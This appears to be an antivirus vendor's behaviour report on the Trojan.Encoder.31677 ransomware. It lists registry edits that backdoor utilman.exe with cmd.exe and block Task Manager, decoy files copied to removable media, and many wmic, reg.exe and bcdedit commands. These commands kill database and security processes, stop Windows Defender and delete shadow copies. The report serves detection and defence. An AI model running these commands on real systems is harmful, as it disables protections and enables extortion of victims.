Trojan.Encoder.31677

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe] 'Debugger' = '<SYSTEM32>\cmd.exe'
[<HKLM>\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe] 'Debugger' = 'Hotkey Disabled'

Creates the following files on removable media

<Drive name for removable media>:\archer.avi
<Drive name for removable media>:\hypothyroidism_slides.pptx
<Drive name for removable media>:\mappingconcepthubberlin.ppt
<Drive name for removable media>:\sim_gametheory_to_finance.ppt
<Drive name for removable media>:\ppswamp.ppt
<Drive name for removable media>:\sacs_presentation_sacs_qep_improving_rt_education_final.ppt
<Drive name for removable media>:\arrow-down.png
<Drive name for removable media>:\calibre.png
<Drive name for removable media>:\cleanlyrics.png
<Drive name for removable media>:\bg_search_box.png
<Drive name for removable media>:\tunpersonalca1.pem
<Drive name for removable media>:\block.png
<Drive name for removable media>:\ck_ugo.pem
<Drive name for removable media>:\investmentbankca_ca8.pem
<Drive name for removable media>:\ck.pem
<Drive name for removable media>:\lom602.pdf
<Drive name for removable media>:\10thingscondoms.pdf
<Drive name for removable media>:\2015-02-patients-topic-work-related-asthma-jobs.pdf
<Drive name for removable media>:\dualectls.pdf
<Drive name for removable media>:\clip_1080_5sec_10mbps_h264.mp4
<Drive name for removable media>:\waterresourcesag.pptx
<Drive name for removable media>:\gruenspecht_02172016.pptx
<Drive name for removable media>:\samieee_obiee_presentation.pptx
<Drive name for removable media>:\stoc13_ml_quoc_le.pptx
<Drive name for removable media>:\2013_smccc_competition_points_jul2013.xlsx
<Drive name for removable media>:\subjectclassification.xls
<Drive name for removable media>:\1sm_price.xls
<Drive name for removable media>:\removedtitles_records.xls
<Drive name for removable media>:\price030215.xls
<Drive name for removable media>:\guide_reorganization_mapping.xls
<Drive name for removable media>:\fiche_inscription_2015.xls
<Drive name for removable media>:\babyboymaintonotesbackground_pal.wmv
<Drive name for removable media>:\babyboymaintoscenesbackground_pal.wmv
<Drive name for removable media>:\myhrvoldhanssenbiharfamine.rtf
<Drive name for removable media>:\fungalnameauthors.rtf
<Drive name for removable media>:\pandp.rtf
<Drive name for removable media>:\military_callsigns_0311.rtf
<Drive name for removable media>:\static_electricity_easy_and_quick_activities.rtf
<Drive name for removable media>:\20140114.rdf
<Drive name for removable media>:\cbz.png
<Drive name for removable media>:\skos.rdf
<Drive name for removable media>:\contenttypes.rdf
<Drive name for removable media>:\elvisimp.rdf
<Drive name for removable media>:\middaugh_keynote.pptx
<Drive name for removable media>:\2013_finalsummaryforweb.xlsx
<Drive name for removable media>:\video_1.mp4
<Drive name for removable media>:\dag2_panel1_320_ref.mov
<Drive name for removable media>:\etc6_m_1.mov
<Drive name for removable media>:\hadac_newsletter_july_2010_final.docx
<Drive name for removable media>:\aoc_saq_d_v3_merchant.docx
<Drive name for removable media>:\adhd_and_obesity.docx
<Drive name for removable media>:\508softwareandos.doc
<Drive name for removable media>:\uep_form_786_bulletin_1726i602.doc
<Drive name for removable media>:\weeklysheet1215.doc
<Drive name for removable media>:\lisp_success.doc
<Drive name for removable media>:\fi51.doc
<Drive name for removable media>:\testee.cer
<Drive name for removable media>:\contosoroot.cer
<Drive name for removable media>:\sdksampleprivdeveloper.cer
<Drive name for removable media>:\contoso.cer
<Drive name for removable media>:\testcertificate.cer
<Drive name for removable media>:\pmd.cer
<Drive name for removable media>:\dialmap.bmp
<Drive name for removable media>:\default.bmp
<Drive name for removable media>:\dashborder_192.bmp
<Drive name for removable media>:\dial.bmp
<Drive name for removable media>:\join.avi
<Drive name for removable media>:\issi2013_template_for_posters.docx
<Drive name for removable media>:\glidescope_review_rev_010.docx
<Drive name for removable media>:\dotnetfx45_full_setup.exe
<Drive name for removable media>:\wrar520.exe
<Drive name for removable media>:\168.jpg
<Drive name for removable media>:\4f0bf7ff71f28.jpg
<Drive name for removable media>:\pushkin.jpeg
<Drive name for removable media>:\region-north-karelia.jpeg
<Drive name for removable media>:\2.jpeg
<Drive name for removable media>:\13.jpeg
<Drive name for removable media>:\210252809.jpeg
<Drive name for removable media>:\4f0bf7ff71f28.jpeg
<Drive name for removable media>:\api-hashmap.html
<Drive name for removable media>:\trivial-merge.html
<Drive name for removable media>:\tree_view.html
<Drive name for removable media>:\browse.html
<Drive name for removable media>:\adadsi.html
<Drive name for removable media>:\ituneshelpunavailable.htm
<Drive name for removable media>:\about.htm
<Drive name for removable media>:\browse.htm
<Drive name for removable media>:\tree_view.htm
<Drive name for removable media>:\alert.htm
<Drive name for removable media>:\garden.htm
<Drive name for removable media>:\skypesetup.exe
<Drive name for removable media>:\2.jpg
<Drive name for removable media>:\applicant.xlsx

Malicious functions

To complicate detection of its presence in the operating system,

blocks the following features:

System Restore (SR)

deletes volume shadow copies.

Terminates or attempts to terminate

the following system processes:

<SYSTEM32>\vssvc.exe

Modifies file system

Modifies user data files (Trojan.Encoder).

Miscellaneous

Executes the following

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoExit -Command -
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%QB%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%msftefd%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%msftesql%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%mysql%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%node%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%noderunner%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%omtsreco%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%QB%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%Quick%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%oracle%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%acess%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%acrord%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%code%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%devenv%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%avp%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%swprv%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%VSSVC%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%sql%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%store%%'" call terminate
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%wsbexchange%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%Exchange%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%MBAMService%%'" call stopservice
'<SYSTEM32>\vssvc.exe'
'<SYSTEM32>\svchost.exe' -k swprv
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f /v Debugger /t REG_SZ /d <SYSTEM32>\cmd.exe
'<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /f /v Debugger /t REG_SZ /d "Hotkey Disabled"
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%MSSQL%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%SQLAgent%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%SQLBrowser%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%ReportServer%%'" call stopservice
'<SYSTEM32>\net.exe' view
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%SQLWriter%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%MySQL%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%firebird%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%WinDefend%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%mr2kserv%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%IISADMIN%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%Database%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%QuickBooksDB%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%MongoDB%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Service where "name like '%%SQL%%'" call stopservice
'<SYSTEM32>\wbem\wmic.exe' path Win32_Process where "name like '%%sqlsrvr%%'" call terminate
'<SYSTEM32>\bcdedit.exe' /set -encodedCommand ZABlAGYAYQB1AGwAdAA= bootstatuspolicy ignoreallfailures -inputFormat xml -outputFormat text

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